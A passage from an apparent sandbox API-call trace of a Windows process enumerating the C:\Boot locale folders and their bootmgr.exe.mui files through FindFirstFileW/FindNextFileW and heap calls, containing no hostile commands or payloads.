nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.726] FindClose (in: hFindFile=0x6e53c0 | out: hFindFile=0x6e53c0) returned 1 [0033.726] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.726] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0033.726] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.726] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e53c0 [0033.727] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.727] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.727] FindClose (in: hFindFile=0x6e53c0 | out: hFindFile=0x6e53c0) returned 1 [0033.727] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.727] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0033.727] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.727] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e53c0 [0033.728] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.728] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.728] FindClose (in: hFindFile=0x6e53c0 | out: hFindFile=0x6e53c0) returned 1 [0033.728] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.728] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0033.728] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.728] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e53c0 [0033.729] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.729] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.729] FindClose (in: hFindFile=0x6e53c0 | out: hFindFile=0x6e53c0) returned 1 [0033.729] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.729] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0033.729] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.729] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e53c0 [0033.730] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.730] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.730] FindClose (in: hFindFile=0x6e53c0 | out: hFindFile=0x6e53c0) returned 1 [0033.730] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.730] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0033.730] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.730] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e53c0 [0033.731] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.731] FindNextFileW (in: hFindFile=0x6e53c0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.731] FindClose (in: hFindFile=0x6e53c0 | out: hFindFile=0x6e53c0) returned 1 [0033.731] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.731] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0033.731] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.731] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931788 [0033.760] FindNextFileW (in: hFindFile=0x3931788, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.760] FindNextFileW (in: hFindFile=0x3931788, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.761] FindClose (in: hFindFile=0x3931788 | out: hFindFile=0x3931788) returned 1 [0033.761] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.761] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0033.761] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.761] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931788 [0033.761] FindNextFileW (in: hFindFile=0x3931788, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.761] FindNextFileW (in: hFindFile=0x3931788, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.761] FindClose (in: hFindFile=0x3931788 | out: hFindFile=0x3931788) returned 1 [0033.761] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.761] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0033.761] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.761] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931788 [0033.762] FindNextFileW (in: hFindFile=0x3931788, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.762] FindNextFileW (in: hFindFile=0x3931788, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.762] FindClose (in: hFindFile=0x3931788 | out: hFindFile=0x3931788) returned 1 [0033.762] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.762] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0033.762] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.762] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931788 [0033.762] FindNextFileW (in: hFindFile=0x3931788, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.762] FindNextFileW (in: hFindFile=0x3931788, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.762] FindClose (in: hFindFile=0x3931788 | out: hFindFile=0x3931788) returned 1 [0033.762] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.763] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0033.763] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.763] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931788 [0033.763] FindNextFileW (in: hFindFile=0x3931788, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.763] FindNextFileW (in: hFindFile=0x3931788, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.763] FindClose (in: hFindFile=0x3931788 | out: hFindFile=0x3931788) returned 1 [0033.763] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.763] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0033.763] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 